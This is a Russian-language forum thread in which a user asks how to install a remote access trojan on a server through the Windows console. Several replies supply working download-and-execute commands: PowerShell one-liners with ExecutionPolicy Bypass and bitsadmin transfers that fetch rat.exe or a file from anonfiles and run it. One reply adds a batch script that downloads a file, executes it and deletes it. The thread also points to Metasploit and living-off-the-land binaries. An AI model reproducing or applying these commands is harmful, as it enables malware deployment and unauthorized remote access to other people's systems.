Как залить ратник через консоль винды?

[Ott_Fon_Bismark]

Добрий день столкнуса с задачей залить ратник или стороннее по через консоль,подойдет любое решение которое поможет получить удаленний доступ к серваку

 

[bnetmstr]

PowerShell -ExecutionPolicy Bypass (New-Object System.Net.WebClient).DownloadFile('http://host.ws/rat.exe','%temp%\3883883.exe');Start-Process '%temp%\3883883.exe'";

Ile

bitsadmin /transfer tget /download /priority high http://host.ws/rat.exe %temp%\44484884.exe&start %temp%\44484884.exe"

Ile 4eres FTP, dobavte Firewall regkey sna4alo

 

[Pent]

Добрий день столкнуса с задачей залить ратник или стороннее по через консоль,подойдет любое решение которое поможет получить удаленний доступ к серваку

https://xss.pro/threads/41927/

 

[Santyago08]

Использовать metasploit, на форуме полно мануалов.

 

[Ott_Fon_Bismark]

на виндовс 10 грузит а на 7 не хочет вообще я уже все перепробивал (кто шарит в чем проблема скажите как ее исправить буду благодарен) сам пейлоад:
Cmd /c powershell.exe -ExecutionPolicy Bypass (New-Object System.Net.WebClient).DownloadFile('https://cdn-141.anonfiles.com/X529c1o0pb/f2d13c75-1604966257/test17.exe','C:\ProgramData');Start-Process 'C:\ProgramData\test17.exe'"

 

[Pernat1y]

Пробуй частями:

powershell.exe -ExecutionPolicy Bypass (New-Object System.Net.WebClient).DownloadFile('https://the.earth.li/~sgtatham/putty/latest/w32/putty.exe','C:\ProgramData\putty.exe')
powershell.exe -ExecutionPolicy Bypass (Start-Process 'C:\ProgramData\putty.exe')

И посмотри, создаётся-ли файл после первой команды.

Ну и грузить можно не только через PS:

LOLBAS

lolbas-project.github.io

 

[Ott_Fon_Bismark]

Пробуй частями:

powershell.exe -ExecutionPolicy Bypass (New-Object System.Net.WebClient).DownloadFile('https://the.earth.li/~sgtatham/putty/latest/w32/putty.exe','C:\ProgramData\putty.exe')
powershell.exe -ExecutionPolicy Bypass (Start-Process 'C:\ProgramData\putty.exe')

И посмотри, создаётся-ли файл после первой команды.

Ну и грузить можно не только через PS:

LOLBAS

lolbas-project.github.io

как я понял дело бистрей всего в ссилке (не сирая) потому что толком перепробивал все ссл тлс разние команди(как найду решение опишу как решил и скину в теме)

 

[DarckSol]

создаем файл: D0wnl0ad.bat
Если у тебя только командная строка, то юзаем команду Echo

Пример:

echo set target=https://ozon-st.cdn.ngenix.net/s3/multimedia-2/6000075098.jpg>D0wnl0ad.bat
echo set localfile=%userprofile%\desktop\%hostname%.jpg>>D0wnl0ad.bat
echo call :Download>>D0wnl0ad.bat
...
...
....
.
.....

Важно ">" одна галочка ТОЛЬКО в первой строке, это означает писать файл с нуля, ">>", дописать в файл, не перезаписывая его с нуля.

@echo off
:: Откуда скачать.
set target=https://ozon-st.cdn.ngenix.net/s3/multimedia-2/6000075098.jpg
:: Куда положить.
set localfile=%userprofile%\desktop\%hostname%.jpg

call :Download

:Download
bitsadmin /transfer debjob /download /priority normal %target% %localfile%
:: Старт файла с ожиданием завершения процесса.
start /wait %localfile%
:: Удаляем файл после того, как он отработал.
erase %localfile% /Q
exit

Работает в любой ОС.......................................
ЗЫ: Выполнение PowerShell не всегда доступно, бывает, что эта опция выключена или сильно зарезана..., описанный мной способ работает всегда)

 

[xrahitel]

чтобы найти новые #LOLBin вот лайфхак от меня